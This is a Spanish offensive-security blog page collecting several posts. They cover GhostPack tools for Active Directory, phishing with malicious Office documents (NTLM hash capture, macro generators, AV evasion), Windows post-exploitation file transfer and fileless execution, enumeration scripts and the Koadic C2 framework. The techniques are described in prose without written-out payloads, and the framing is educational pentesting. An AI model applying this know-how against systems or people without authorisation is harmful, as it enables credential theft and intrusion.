Categorías
Hacking MetaSploit Networking Services - Software

Hacking sobre Active Directory con GhostPack

Cuando te piden realizar un pentest sobre una infraestructura de red, lo más habitual es que te encuentres con controladores de dominio, servidores y estaciones de trabajo, casi todo con sistemas Windows.

Muchas empresas utilizan Active Directory en su día a día y por ese motivo es buena idea saber cómo se puede atacar.

Es una tecnología compleja, pero al mismo tiempo muy interesante desde el punto de vista del Hacking por la cantidad de opciones y funcionalidades que ofrece, en mi opinión es una de las cosas más chulas que puedes aprender en el mundo de la ciberseguridad.

Es por ese motivo que existen cientos de herramientas orientadas a estos entornos, tanto en las etapas de reconocimiento y acceso inicial como en la post-explotación.
En esta ocasión te hablaré de un framework muy conocido en el mundo de la post-explotación en Windows, especialmente en entornos de AD, se trata de GhostPack.

No hablamos de una herramienta como tal, sino de una suite completa de utilidades, todas ellas desarrolladas en C# y preparadas para realizar labores muy concretas.

Para que te hagas una idea, a lo mejor has escuchado el proyecto Rubeus para ataques sobre Kerberos, o no, pero es uno de los proyectos incluidos en este framework. Todas estas utilidades están pensadas para la etapa de post-explotación y debes tener acceso al entorno, un servidor o controlador comprometido sería lo ideal, pero también te podría valer una estación de trabajo unida al dominio.

Las herramientas más interesantes que vienen incluidas en #GhostPack son las siguientes

SharpDump:

Es una herramienta capaz de abrir un proceso y volcar la información cargada en memoria en un fichero. Funciona muy bien sobre el proceso LSASS y el fichero resultante es compatible con Mimikatz.

SharpUp:

Esta utilidad ejecuta múltiples pruebas de seguridad y permite detectar vías para elevar privilegios en el sistema. Se trata de la versión en C# del proyecto PowerUp.

SharpWMI:

Permite ejecutar consultas utilizando la interfaz WMI, de esta forma es posible obtener información abundante sobre el sistema auditado. Aunque se puede usar WMI directamente sobre una terminal, el beneficio que aporta SharpWMI es que simplifica su ejecución y cuenta con rutinas ya preparadas para la enumeración del sistema y detección de vulnerabilidades.

LockLess:

Accede a un proceso determinado y, a continuación, permite listar y copiar los ficheros que tiene abiertos un proceso seleccionado. Esto es interesante para obtener información que se encuentra en ficheros temporales o que están bloqueados por el proceso.

SeatBelt:

Pretende automatizar los procesos de enumeración sobre entornos Windows. Entre otras cosas, permite detectar problemas de seguridad potenciales en el entorno y recolectar información sensible.

Rubeus:

Esta herramienta está diseñada para ejecutar diferentes tipos de ataques sobre el servicio de Kerberos. Incluye la posibilidad de gestionar tickets TGT y TGS, siendo posible solicitar, listar o renovar tickets. Soporta diferentes tipos de ataques, tales como kerberoasting, asreproasting, golden ticket, silver ticket, pass the ticket, entre otras técnicas habituales sobre este servicio.

Certify:

Permite realizar una enumeración completa sobre un servicio de ADCS (Active Directory Certificate Services). Además de obtener información, también es capaz de solicitar y gestionar certificados digitales para una cuenta de dominio, ya sea de usuario o máquina.

 

Si quieres aprender a usar GhostPack para realizar auditorías sobre entornos Windows con Active Directory, te recomiendo el curso de «Hacking sobre Windows y Active Directory con GhostPack».

Se trata de un curso completamente práctico en el que aprenderás a compilar y ejecutar cada una de las herramientas, así como las opciones avanzadas que admiten cada una de ellas, especialmente Rubeus y Certify, que son las más potentes de todo el framework.

Se trata de utilidades que deberías conocer para realizar actividades de post-explotación sobre redes Windows, así que te animo a que aprendas a usarlas.

 

 


Recuerda que tienes todas las formaciones y packs de The Hacker Way.

Las mejores formaciones en castellano que podrás encontrar y al mejor precio.
No lo digo yo, puedes ver las reseñas en el sitio web.

Más de 500 alumnos han aprovechado los cursos online en THW y tú también podrías ser uno de ellos: https://thehackerway.es/cursos

Además de los cursos y la comunidad THW, tenemos el Plan Starter en Ciberseguridad (PSC) con el que no solo aprenderás Hacking ético, además adquirirás las habilidades necesarias para trabajar en el sector de la ciberseguridad.
Ya sea que seas un trabajador en activo o busques una primera experiencia, en THW podemos ayudarte mediante el plan PSC. Tienes más información en este enlace

¡Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Hacking Python MetaSploit Networking

Técnicas y herramientas para ataques de Phishing con MalDocs – Parte 2 de 2

Demostración en vídeo del post

En el post anterior se ha mencionado algunas de las herramientas básicas a la hora de crear documentos ofimáticos maliciosos, los cuales evidentemente pretenden comprometer un sistema objetivo. Este tipo de ataques entran en la categoría de «client-side» dado que es necesaria la interacción con una víctima para que «ejecute» el payload que se le ha enviado y para ello, normalmente son necesarias técnicas de ingeniería social. En este post, se mencionará otras herramientas útiles que servirán para demostrar el impacto de este tipo de ataques.

Captura de Hashes con NTLM_Theft

Hace algunos meses Jesús Rufo nos hablaba en este blog sobre la herramienta NTLM_Theft, la cual se encuentra desarrollada en Python y se enfoca en la generación de diferentes tipos de ficheros maliciosos, entre los que se incluyen documentos en formato DOCX y XLS. Una de las novedades que incorpora esta herramienta es que cada uno de los documentos generados implementa y se aprovecha de características propias del software que procesa el documento con el objetivo de extraer hashes NTLM. Por ejemplo, en el caso de generar un documento DOCX, la herramienta se encarga de hacer una petición SMB a un sistema remoto en busca de una imagen y para esto, se intenta llevar a cabo el típico proceso de «reto-respuesta» del protocolo NTLM. La herramienta permite generar un documento que hace referencia a una supuesta imagen en una IP que, evidentemente, es controlada por el atacante. En el caso de generar un documento XLS se sigue la misma dinámica, pero en ese caso crea una hoja de cálculo e  introduce una celda en ella que tiene la instrucción «externalcell://» la cual obliga a Excel a ejecutar la petición NTLM inicial para el proceso de autenticación en el servidor SMB y nuevamente, el atacante podrá capturar dicha petición utilizando Impacket, Responder.py, Metasploit Framework o cualquier otra utilidad similar.

Cuando el documento XLSX creado se abra en el sistema de la víctima, se podrá ver en la terminal de responder cómo se reciben los hashes del usuario y en ese momento, sería posible aplicar un proceso de cracking con el objetivo de romper dicho hash.

Automatización del ataque con Python

Lo que hace NTLM_Theft está muy bien por varias razones, pero la más interesante de todas es que es difícil de detectar ese tipo de ataques y mejor aún, dada su simplicidad se puede crear un script en cualquier lenguaje que automatice el proceso con pocas instrucciones. Por este motivo he creado un script simple que automáticamente levanta el módulo de captura SMB disponible en Metasploit Framework y gracias a la librería xlswritter, se crea un fichero XLS con una celda que contiene la instrucción «external://». Dicha instrucción hace referencia al servidor donde se está ejecutando el módulo de Metasploit Framework así que cuando se transfiera dicho documento y la víctima lo abra, se recibirán automáticamente los hashes NTLM.

Es un script que he creado en pocos minutos mientras escribía este post y por supuesto, se pueden hacer muchas más cosas pero se trata de una simple prueba de concepto que ayudará a entender la facilidad con la que se pueden ejecutar estos ataques y el impacto que puede suponer para la seguridad.

Si este post y el anterior te han gustado, deja un comentario y si despierta vuestro interés, escribiré más sobre este tipo de técnicas ya que hay muchas más herramientas y alternativas para «jugar» con MalDocs.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking MetaSploit Networking

Técnicas y herramientas para ataques de Phishing con MalDocs – Parte 1 de 2

Demostración en vídeo de este post

Las campañas de Red Team suelen tener un componente de Phishing que típicamente brinda el acceso inicial a uno o varios sistemas en el entorno comprometido. Cuando se crea un «Phishing assessment» hay una serie de técnicas y herramientas que apoyan en todo el proceso y cuando todo esto se monta sobre una infraestructura bien pensada y con pretextos orientados al target en cuestión, los resultados suelen ser muy satisfactorios. En este post se proporciona un listado de algunas técnicas y herramientas habituales para campañas de Phishing, concretamente enfocadas al uso de MalDocs (documentos ofimáticos maliciosos).

Gophish

Se trata de un framework opensource para el establecimiento y creación de todo el circuito del que está compuesto una campaña de Phishing. Permite establecer los servidores SMTP que se utilizarán para el envío de los correos electrónicos, definición el mensaje con otros elementos como ficheros adjuntos y enlaces que pueden contener sitios clonados, agrupaciones de los correos a los que se van a enviar los mensajes de phishing y un seguimiento completo de cada campaña. Como ocurre con otras herramientas similares a ésta, el objetivo es el de proporcionar un entorno de pruebas para poder evaluar el riesgo de este tipo de ataques en cualquier empresa y no está diseñada para apoyar en las actividades de un ciberdelincuente. Gophish está desarrollado en GO y como muchos otros proyectos que se han ido creado últimamente en este lenguaje, es posible descargar un binario de la herramienta en diferentes sistemas operativos (Windows, Linux y MacOS).
Una vez se ejecuta el binario correspondiente, aparecerá en la terminal el puerto utilizado para la administración web de la herramienta.

El usuario por defecto es «admin» y la contraseña «gophish», sin embargo esto se puede cambiar en la gestión de usuarios de la aplicación. La herramienta se caracteriza por su simplicidad y lo bien diseñada que se encuentra. Las opciones disponibles en el panel lateral izquierdo ayudan a entender el funcionamiento de la herramienta. Probablemente la opción más importante es precisamente la de «Sending Profiles» ya que es ahí donde se definen los detalles de conexión a los servidores SMTP que utilizará GoPhish para el envío de los correos electrónicos. Las demás opciones permiten definir enlaces maliciosos, los mensajes que se van a enviar (con texto, imágenes, enlaces y adjuntos) y los grupos de emails a los que se dirige la campaña. Finalmente, en la opción  «Campaigns» es en donde se configura todo y gracias a un asistente muy simple, es posible seleccionar el servidor SMTP, grupo de emails, el mensaje a utilizar y planificación de la campaña. Una vez  todos los detalles se encuentran definidos y se lanza la campaña, en la opción «Dashboard» se pueden apreciar todos los detalles.

SI bien es cierto que no es una herramienta orientada a MalDocs, es fundamental en la etapa de «Delivery» de dichos documentos, por ese motivo merece la pena mencionarla.

Macros generadas con Unicorn y Macro_Pack

Una vez se tiene planificado cómo enviar el documento malicioso a la víctima, es el momento de prepararlo. Para ello es posible que el mejor enfoque sea crear una muestra maliciosa desde cero y no utilizar herramientas muy extendidas, con esto la rutina maliciosa tendrá mejores capacidades de evasión ante los mecanismos de seguridad implantados en el objetivo. No obstante resulta interesante conocer algunas de las utilidades que se encuentran disponibles para la generación de documentos maliciosos, tales como Unicorn y Macro_Pack.

Unicorn es una herramienta muy simple que se puede dominar rápidamente leyendo la documentación que se encuentra disponible en el repositorio. Los ejemplos que se encuentran descritos en la documentación son los mismos que aparecen cuando se ejecuta el script «unicorn.py» con la opción «–help» y como se puede apreciar, todos ellos están orientados a ataques «client-side». Se puede ver, entre otras cosas, la generación de macros maliciosas que se pueden incrustar en documentos para Microsoft Office y la generación de instrucciones en PowerShell. Es cualquier caso, es posible incluir un payload de Metasploit Framework, Cobalt Strike o una rutina maliciosa personalizada.

Como se puede apreciar, hay un ejemplo para generar una Macro maliciosa en Cobalt Strike y Metasploit Framework. Cuando se ejecuta dicho comando se genera automáticamente un documento «.txt» en el mismo directorio donde se encuentra la herramienta con todo el código de la Macro, el cual ahora basta con incluirlo en un documento de Office y transmitirlo a la víctima. Si el payload utilizado es del tipo «reverse» evidentemente será necesario levantar el «handler» correspondiente en la máquina del atacante (en la misma IP y puerto que se ha indicado en la ejecución de Unicorn».

Una vez que se ejecuta dicho Macro en la máquina de la víctima, se podrá obtener una reverse shell si es este el payload que se ha indicado en la ejecución de Unicorn.

Por otro lado, Macro_pack es una herramienta que si bien está orientada a la generación de MalDocs como Unicorn, funciona de un modo un poco diferente, ya que se encarga de generar directamente el documento partiendo de una macro dada, la cual ha podido ser generada con Metasploit Framework, Cobalt Strike, Empire Framework o incluso manualmente. Una de las características de esta herramienta es que intenta ofuscar algunas de las instrucciones con el fin de mejorar las capacidades de evasión de la muestra maliciosa. Para ello, aplica las técnicas habituales que consisten en la manipulación de los nombres de variables y funciones, cambiar el orden de ciertas instrucciones o definir alias de aquellas funciones que hacen parte de la API de Windows. Si bien hace un par de años las técnicas aplicadas por Macro_pack funcionaban bien para la evasión de AVs en el objetivo, a día de hoy prácticamente cualquier AV es capaz de detectar el código como malicioso.
Para usar Macro_pack basta con descargar el binario (EXE) disponible en el repositorio de GitHub y ejecutarlo indicando la ubicación del código de la macro y el formato que se debe usar.

Como se puede ver, la herramienta ejecuta varias operaciones antes de generar el documento, el cual ahora se puede transmitir a la víctima. Es importante tener en cuenta que la Macro se ejecutará de forma automática si las macros se encuentran habilitadas en el sistema objetivo, por lo tanto es importante tener el «handler» esperando la conexión antes de enviar el documento malicioso.

En el siguiente post se hablará de otras técnicas y herramientas para la generación de documentos maliciosos y ataques client-side.

 

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking MetaSploit Networking Services - Software Web Applications

10 posts en TheHackerWay que te han interesado.

Precisamente con este post se completan los 500 artículos en este blog y viendo el tráfico que han generado las entradas, he decidido darle un repaso a las que más visitas han tenido desde sus inicios. Personalmente no son las que más me gustan ya que hay otras que me molan más por el nivel técnico que tienen y por el trabajo que he impreso en ellas, pero estas son las entradas que más reacciones y visitas han generado, por lo tanto merece la pena darles «cariño» y pulir cosas que se han quedado obsoletas o no aplican ya que algunos de estos posts datan de los años 2011/2012 y claro, mucho ha llovido desde entonces. Dicho esto… Aquí va.

1. 10 Sitios en la deep web que podrían interesarte – Parte 1 de 3.

La primera parte de esta serie de 3 posts relacionados con sitios onion que podrían ser interesantes y que han tenido cierta continuidad, aunque siempre hay que tener en cuenta que dada la «alta volatilidad» que tienen los contenidos en TOR es posible que en algunos meses, días o puede que horas, algunos de estos sitios ya no estén disponibles por diferentes motivos. Hay que tener esto en cuenta cuando se navega por los Hidden Services disponibles en TOR.

 

2. 10 Sitios en la deep web que podrían interesarte – Parte 2 de 3.

En este segundo post de la serie nuevamente he removido algunos sitios que ya no están disponibles desde hace algún tiempo y los he sustituido por otros que sí lo están. De hecho, del listado de 10 sitios, solamente se ha quedado 1 que sigue operativo aunque ya han pasado varios años, el resto han ido cayendo poco a poco por diferentes motivos y ahora mismo no se encuentran accesibles. La actualización de este post incluye por tanto, 9 servicios ocultos «nuevos» que pueden resultar interesantes desde un punto de vista práctico o académico.

 

3. 10 Sitios en la deep web que podrían interesarte – Parte 3 de 3.

10 sitios más para hacer un total de 30, los cuales se encuentran activos y pueden resultar interesantes o como mínimo, despertar curiosidad.

 

4. Hydra, Ataques de Fuerza Bruta

En este post se hablaba de la versión 6 de THC Hydra, lo he actualizado incluyendo más capturas de pantalla para facilitar la comprensión de lo que se explica, además se habla de la última versión disponible a la fecha de redactar este post y las opciones que incluye.

 

5. Conceptos Basicos de Meterpreter – MetaSploit Framework

Algunas instrucciones se han removido en los últimos años y como es natural, el payload de Meterpreter ha ido madurando. Este post lo he escrito hace cerca de 10 años, es un buen momento de reflejar en él las características más básicas y de uso común de este payload. En esta actualización del post he incluido imágenes que son mucho más fáciles de entender que el texto de los comandos y su salida.

 

6. Wireless Hacking – Descubriendo APs con SSID ocultos y evadiendo Mac Filters – Parte IV

En realidad han sido pocos los ajustes que he hecho en este post, simplemente le he puesto algunas referencias a otros artículos y contenidos externos. También he corregido alguna frase para que se comprenda mejor. Es un post básico sobre redes wireless y puede ser interesante para el descubrimiento de un SSID oculto.

 

7. Preservando el Anonimato y Extendiendo su Uso – Conceptos Esenciales de TOR – Parte I

Ha sido el primer post que publique hace casi una década sobre la serie de anonimato en TOR, lo que unos años después me ha permitido escribir un libro sobre DeepWeb en 0xWORD. También he aplicado algunos cambios para mejorar este post ya que se hace referencia a software que a día de hoy ya no se utiliza, como es el caso de Vidalia y TorButton.

 

8. Comandos y Conceptos Básicos MetaSploit Framework

En este post se explica el uso más básico de Metasploit Framework, se incluye una lista de comandos habituales y se explican algunas formas de interactuar con el Framework. Es una entrada publicada en el año 2011, por lo tanto merecía la pena quitar algunas cosas que se han quedado obsoletas desde hace varios años y reflejar un poco lo que se encuentra disponible actualmente.

 

9. Conceptos Básicos de Nikto – Técnicas de escaneo de Servidores y Aplicaciones Web

Aunque Nikto es una herramienta que ha tenido poco movimiento en los últimos años, es interesante conocer las técnicas de escaneo disponibles para analizar servidores web y en este post, se explican algunas de ellas desde un punto de vista práctico y enseñando los posibles valores que recibe cada técnica por línea de comandos.

 

10. Uso práctico de John The Ripper

Este post es bastante extenso pero interesante, dado que JTR es de esas herramientas que se suelen lanzar y «dejar que hagan lo suyo», sin embargo conocer las opciones que tiene disponibles ayuda a afinar un poco más esas ejecuciones y sacar los mejores resultados posibles. Nuevamente se trata de un post que he escrito hace varios años y que le hacia falta un repaso, ahora creo que ha quedado bastante bien y que puede ser útil para aprender a usar la herramienta.

Esto es todo, seguiré revisando posts que he ido publicando en los últimos años y que ahora se encuentran desactualizados o simplemente lo que se explica ya no es valido/no funciona. En todo caso, cualquier sugerencia es bienvenida para mejorar la calidad de los contenidos que registramos en este sitio (que hay otros colaboradores que también escriben aquí y merecen todo el reconocimiento por compartir lo que saben). 🙂

Un saludo y Happy Hack!
Adastra.

 

Categorías
Explotación de Software Hacking Hacking Python MetaSploit Networking Services - Software

Enumeración en Windows para Post-Explotación – Parte 5.

Enumeración en Windows para Post-Explotación – Parte 1.
Enumeración en Windows para Post-Explotación – Parte 2.
Enumeración en Windows para Post-Explotación – Parte 3.
Enumeración en Windows para Post-Explotación – Parte 4.

Aunque los comandos e instrucciones que se han listado en las partes anteriores a este post incluyen las actividades típicas para la enumeración de sistemas Windows, es conveniente tener cierta habilidad y libertad a la hora de moverse por el sistema y esto no siempre es tan sencillo. En ocasiones la shell con la que se cuenta no permite ejecutar ciertos comandos o puede ser inestable. También puede ocurrir que no se cuenta con los elementos o herramientas necesarias para la transferencia de ficheros, especialmente si se trata de un sistema Windows antiguo o con una cuenta que tiene muy pocos privilegios. Este tipo de cuestiones son las que normalmente se encuentran en una auditoría y es vital saber qué hacer en esas situaciones. En este post se verán algunos «tips» que pueden ser útiles para solventar o mitigar algunos problemas comunes en el proceso de post-explotación.

Transferencia de ficheros en post-explotación

Para muchas de las operaciones que implican la post-explotación es necesario subir ficheros a la máquina comprometida o bien descargar información. Para ello existen múltiples alternativas que pueden ser aplicables al objetivo en cuestión. En este caso se verán algunas de las más comunes y en otro artículo se explicará como ejecutar procesos de exfiltración más enfocados a campañas de Red Team.
En primer lugar se podría hablar de la posibilidad de subir o descargar ficheros con Meterpreter, se trata de una de las alternativas más típicas y que pueden venir bien si se cuenta con una sesión de este tipo.

Si no se cuenta con una sesión Meterpreter, se pueden utilizar algunas de las herramientas disponibles en el sistema comprometido para descargar ficheros (exfiltrar) y en este punto resulta conveniente revisar el proyecto LOLBas, del que se hablará más adelante en otro post. Desde la máquina del atacante se puede levantar muy fácilmente un servidor Web o FTP para la transferencia de ficheros a la víctima. Para ello se puede utilizar Python y los módulos que se encuentran disponibles para ello.

Al sistema comprometido se pueden transferir ficheros fácilmente utilizando Powershell o herramientas disponibles en el propio sistema operativo como certutil, mshta, bitsadmin o ftp.

Se trata de las alternativas «clásicas» y que funcionan bastante bien, sin embargo existe otra forma que puede venir muy bien en el caso de que sea necesario ejecutar un binario en el sistema comprometido sin necesidad de escribir nada en disco. De hecho, a menos que en el objetivo no hayan soluciones de seguridad perimetral o se encuentren desactivadas, es recomendable no ejecutar las instrucciones anteriores para evitar una posible detección. Dicho esto, crear una unidad compartida en la máquina del atacante y utilizar el protocolo SMB para la transferencia de información y ejecución «fileless» puede ser un mejor enfoque. Para ello se puede crear un servidor Samba en la máquina del atacante y configurarlo, se trata de algo sencillo y que en pocos minutos se puede conseguir, sin embargo a efectos prácticos se puede utilizar la implementación de pruebas del servidor SMB que viene incluido en el proyecto Impacket.

A partir de este punto se pueden transferir ficheros en ambos sentidos utilizando el protocolo SMB.

 

Y por supuesto, también sería posible la ejecución «fileless» de un binario.

En la imagen anterior se puede apreciar la ejecución de un binario que se encuentra almacenado en la unidad compartida del atacante. No obstante, aunque la transferencia se ha efectuado, dicho fichero no se ha guardado en disco y aún así se obtiene una sesión meterpreter. Es simplemente un ejemplo más sobre cómo aplicar esta técnica, aunque como se ha mencionado anteriormente también sería posible hacerlo con un servidor Samba en la máquina del atacante. El resultado será el mismo.

Windows Shell Upgrade.

Una vez comprometido el sistema es posible que la shell que se ha obtenido no sea lo suficientemente estable o resulte incómodo trabajar con ella, por ejemplo a la hora de ejecutar comandos interactivos o debido a que no se tiene la posibilidad de autocompletar, siendo una característica de Powershell que permite ahorrar tiempo y facilita el trabajo. En este sentido, se explican algunas técnicas útiles para contar con una shell robusta que será perfecta para post-explotación.

WebDelivery Metasploit Framework

El «WebDelivery» de Metasploit Framework es un modulo que se encarga de generar un comando en una sola línea, el cual tras ejecutarse en el objetivo, lanza el payload indicado utilizando el interprete seleccionado en la opción «TARGET» del módulo (Python, Powershell, PHP, Regsvr32, etc.)

Como se puede apreciar, el modulo tiene opciones que permiten indicar cómo se debe levantar el servidor (job de MSF) el cual se encargará de recibir las peticiones por parte de las víctimas y generar una sesión Meterpreter o lo que sea que se haya indicado en el payload.

Al establecer el TARGET a «PSH» el comando generado incluye una instrucción Powershell y tal como se puede ver, el payload propiamente dicho se encuentra codificado en Base64, dicha cadena se decodifica y ejecutan las instrucciones decodificadas. Resulta bastante simple y permite generar, en este caso concreto, una sesión meterpreter perfectamente funcional y que es posiblemente mucho más interesante de cara a la post-explotación que una shell cruda.

Dado que este post está quedando bastante largo, en el siguiente se hablará sobre otras técnicas útiles para la generación de shells robustas y otras cuestiones interesantes en la post-explotación de sistemas Windows como es el caso del proyecto LOLBas.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking MetaSploit Networking Programacion

Enumeración en Windows para Post-Explotación – Parte 4.

Algunas de las técnicas vistas en las partes 1, 2 y 3 de esta serie sobre post-explotación en sistemas Windows se pueden automatizar de una forma bastante eficiente con herramientas que están disponibles para ello. En este post se hablará precisamente de algunas ellas y sus ventajas. Aunque normalmente es una buena idea automatizar, en ocasiones estas herramientas se pueden dejar detalles importantes y por ese motivo es importante seguir la metodología y no quedarse solo con lo que reportan estas herramientas, aunque sin duda son un buen apoyo.

JAWS: Just Another Windows (Enum)  Script

Se trata de uno de los más conocidos y utilizados para llevar a cabo labores de enumeración. Es un script desarrollado en PowerShell que permite identificar rápidamente vectores potenciales para elevación de privilegios sobre un sistema Windows. Tal como se indica en el repositorio oficial de Github (https://github.com/411Hall/JAWS) se encuentra escrito usando Powershell 2.0 por lo tanto debería funcionar sobre cualquier sistema Windows desde la versión 7.
Algunas de las características que implementa se listan a continuación.

  • Identificación de ficheros con permisos débiles (Control total o modificación).
  • Unidades de red disponibles y directorios compartidos.
  • Ficheros con información potencialmente sensible.
  • Vulnerabilidades del tipo Unquoted Service Paths.
  • Listado de tareas programas.
  • Servicios que son potencialmente vulnerables.
  • Documentos que se han utilizado recientemente.
  • Información general del entorno de red.

El procedimiento habitual consiste en transferir el fichero PS correspondiente a la máquina comprometida y ejecutarlo, suele funcionar bastante bien.

Windows Privesc Check (windows-privesc-check)

Es otra de las herramientas clásicas que se encargan de realizar una enumeración básica de un sistema Windows. Ha sido creada hace varios años por PentesterMonkey y se encuentra desarrollada en Python, aunque se distribuye un EXE que se ha generado utilizando PyInstaller y que permite utilizar la herramienta fácilmente en cualquier sistema Windows sin Python instalado. El repositorio oficial se encuentra ubicado en https://github.com/pentestmonkey/windows-privesc-check
A diferencia de otras herramientas, dependiendo de los privilegios con los que se cuente a la hora de ejecutarla se realizaran más o menos pruebas. Por ejemplo, si se ejecuta con privilegios de administrador intentará realizar actividades que en algunos casos pueden desestabilizar el sistema tales como la configuración de servicios sensibles, manipulación del registro de Windows, Sustitución de binarios utilizados para servicios del sistema operativo, etc. Cuando se ejecuta con privilegios bajos o con una cuenta de usuario regular evidentemente las pruebas serán más simples y enfocadas a la recolección de información. Hay que tener en cuenta que es una herramienta que no se actualiza desde hace varios años aunque la mayor parte sigue funcionando sobre sistemas recientes y actualizados.

Windows Enum

Es un proyecto que ya lleva algunos años publicado y al igual que JAWS, es un script en Powershell. Su ejecución es simple ya que solamente admite un parámetro (extended) y no es obligatorio. Las pruebas que realiza también son básicas e incluyen los siguientes puntos.

  • Detalles sobre el sistema operativo y nivel de parche.
  • Usuarios en el sistema y sus correspondientes privilegios.
  • Información sobre programas instalados, procesos actualmente en ejecución y servicios del sistema.
  • Información general de la red, incluyen tabla de rutas, segmentos de red, conexiones, tablas ARP, etc.
  • Ficheros con información potencialmente sensible.

El script se encuentra disponible en el siguiente repositorio de GitHub https://github.com/absolomb/WindowsEnum/

 

WinPEAS (Windows Privilege Escalation Awesome Scripts)

Se trata de un programa que es, probablemente, el más completo para enumeración de sistemas WIndows (también está para sistemas Linux pero de esto se hablará en otra serie). Se encuentra disponible en formato BAT y EXE, con lo cual no hace falta compilar nada o depender de un interprete como Python o similares. Sin embargo, la salida se enseña en «crudo», sin colores ni marcas identificativas relevantes sobre las pruebas que se han llevado a cabo, por ese motivo una vez se ejecuta el programa hay que leer la salida cuidadosamente para ver cualquier detalle que pueda ser útil.

El proyecto se encuentra ubicado en el siguiente repositorio de GitHub: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS Tal como se ha comentado anteriormente, cuenta con dos versiones (BAT y EXE), ambas funcionan bastante bien.

Windows Exploit Suggester – Next Generation (WES-NG)

Se trata de una herramienta que utiliza la información devuelta por el comando systeminfo para comprobar el nivel de parche del sistema y listar las posibles vulnerabilidades que le podrían afectar. Funciona desde Windows XP hasta Windows 10 incluyendo las versiones «server». A diferencia de otras herramientas, no es necesario instalar WES-NG en el sistema comprometido, se puede ejecutar en el ordenador del atacante y solamente hace falta pasarle un fichero con toda la información que vuelca el comando «systeminfo» en sistemas Windows.

El proyecto se encuentra ubicado en el siguiente repositorio de GitHub https://github.com/bitsadmin/wesng y como se puede comprobar en la documentación su uso resulta muy simple.

 

Otras alternativas.

Para este tipo de procedimientos existen muchas más alternativas a las que se han listado en esta sección, como por ejemplo el uso de Frameworks como Empire, Metasploit o Pupy. Además de las herramientas descritas en este post existen otras más que el lector puede consultar entre las que se incluyen:

 

En este post se han visto algunas utilidades que pueden venir bien en un proceso de post-explotación sobre sistemas Windows, sin embargo extraen básicamente la misma información que otros comandos y utilidades  que se encuentran disponibles en el sistema operativo por lo tanto es importante seguir la metodología correctamente e identificar qué elementos pueden ser útiles para la elevación y cuales no.

Un saludo y Happy Hack!

Adastra.

 

Categorías
Explotación de Software Hacking MetaSploit Networking Programacion Services - Software

Post-explotación con Koadic: COM Command and Control basado en Windows Script Host.

Koadic no es una herramienta reciente, de hecho ya lleva cerca de 5 años en continuo desarrollo y aunque no alcanza el reconocimiento y aceptación de otras similares como Metasploit Framework, sin duda merece la pena conocerla en detalle y tenerla en cuenta para operaciones de post-explotación sobre sistemas Windows. Se trata de una herramienta similar a Empire o el payload de Meterpreter, pero tal como se describe en el sitio web oficial de Gitub (https://github.com/zerosum0x0/koadic) su enfoque es distinto ya que utiliza JScript/VBScript para las operaciones que se llevan a cabo entre atacante y víctima. Otra característica que llama la atención es que todo se ejecuta en memoria y funciona en versiones tan antiguas como Windows 2000 hasta versiones modernas de Windows 10. Como muchas otras herramientas de este tipo, su uso resulta común y familiar, solamente es necesario entender los términos y qué hace cada componente:

  1. Zombies. Representa cada uno de los objetivos comprometidos (víctimas). Similar a lo que viene a ser una sesión en Metasploit Framework, un zombie en Pupy/BeEF o un agente en Empire.
  2. Stagers. Representa los módulos que se ejecutarán en la herramienta para la distribución de payloads y el establecimiento de conexiones con los zombies. Todos los stagers disponibles a la fecha de redactar esta entrada se encargan de levantar un servidor en la máquina comprometida y esperan a que la víctima se conecte, descargue y ejecute el payload correspondiente.
  3. Implants. Se trata de aquellas instrucciones que se ejecutan en los zombies y las que realmente permiten la ejecución de un proceso de post-explotación en condiciones sobre el objetivo. Nuevamente, esto es equivalente a lo que se encuentra en Metasploit Framework con los módulos de «post» o los meterpreter scripts (ya deprecados), así como en Empire con los stages.

La instalación de la herramienta tampoco supone ninguna dificultad, se encuentra escrita para Python3 y tiene el fichero «requirements.txt» debidamente configurado para poder ejecutar «PIP3» e instalar todas las dependencias necesarias. Una vez instalado, se pueden ver los comandos disponibles.

El primer paso consiste en iniciar un listener por medio de alguno de los stagers disponibles en la herramienta.

Como se puede apreciar, cuando la víctima intenta acceder al sitio web generado por Koadic se obtiene un nuevo zombie en la terminal de Koadic, sin embargo hay que tener en cuenta que esto dependerá en gran medida del stager utilizado y si la víctima accede al enlace con un cliente compatible a dicho stager. Por otro lado, con una versión actualizada de Windows 10 el AMSI funciona correctamente y detecta el payload como una amenaza lo que impide su correcta ejecución, no obstante las pruebas realizadas indican que funciona correctamente en Windows 8.1 y anteriores incluyendo Windows Server.
Una vez conseguido un zombie, se puede interactuar con él utilizando el comando «zombies» o alguno de los implantes disponibles. El comando «zombies <ID>» permite ver información básica del zombie con el que se ha establecido una conexión.

Por otro lado, si lo que se busca es ejecutar comandos contra el objetivo utilizando una shell, la instrucción «cmdshell <ID>» permite hacerlo.

El uso de los «implantes» es una característica interesante en la herramienta, ya que facilitan el proceso de post-explotación sobre el sistema comprometido. Como se ha mencionado anteriormente en este texto, es muy similar a lo que puede verse en los módulos «post» disponibles en Metasploit Framework, aunque evidentemente MSF es bastante más completo y robusto, pero aún así es interesante ver cómo funcionan los implantes de Koadic.

Como se puede ver en la imagen anterior, todos los implantes siguen una estructura de directorios fácil de entender y se pueden apreciar que cada implante listado es «auto-explicativo» con simplemente leer el nombre. El uso de cualquier implante es muy similar a como se hace en otras herramientas similares como Pupy o Metasploit Framework, basta simplemente con ejecutar el comando «use» e indicar el implante, establecer las opciones que requiere para ejecutarse y posteriormente lanzarlo con un comando como «execute» o «run».

Es una herramienta sencilla y que se puede explorar fácilmente en poco tiempo ya que como se ha dicho antes, es muy similar a otras herramientas del mismo corte. Como siempre, es importante que el «arsenal» de herramientas que se utilizan para pentesting o hacking sea lo más amplio posible y no quedarse con una única solución o alternativa. La variedad y conocer otras opciones en ocasiones puede ser decisivo en una auditoría. Dicho esto, espero que os animéis a probar Koadic si no lo habéis hecho ya.

Un saludo y Happy Hack!

Adastra.

Categorías
FileSystem Hacking Hacking Python MetaSploit Networking Programacion Services - Software Web Applications

Próximas entradas.

